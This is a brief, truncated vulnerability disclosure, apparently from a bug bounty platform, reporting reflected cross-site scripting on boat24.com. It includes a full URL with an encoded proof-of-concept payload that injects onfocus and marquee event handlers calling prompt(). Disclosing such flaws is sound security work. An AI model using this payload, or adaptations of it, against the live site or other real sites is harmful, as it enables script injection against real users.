boat24.com XSS vulnerability

Vulnerable URL: https://www.boat24.com/de/gebrauchtboote/?search=Suchen=aaaaa%22+onfocus%3Dprompt%28%2FOPENBUGBOUNTY%2F%29+autofocus%3Dx+bad%3D%22%3Eaa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3Edemonium%3C%2Ftag%3E=EUR Details: Description| Value...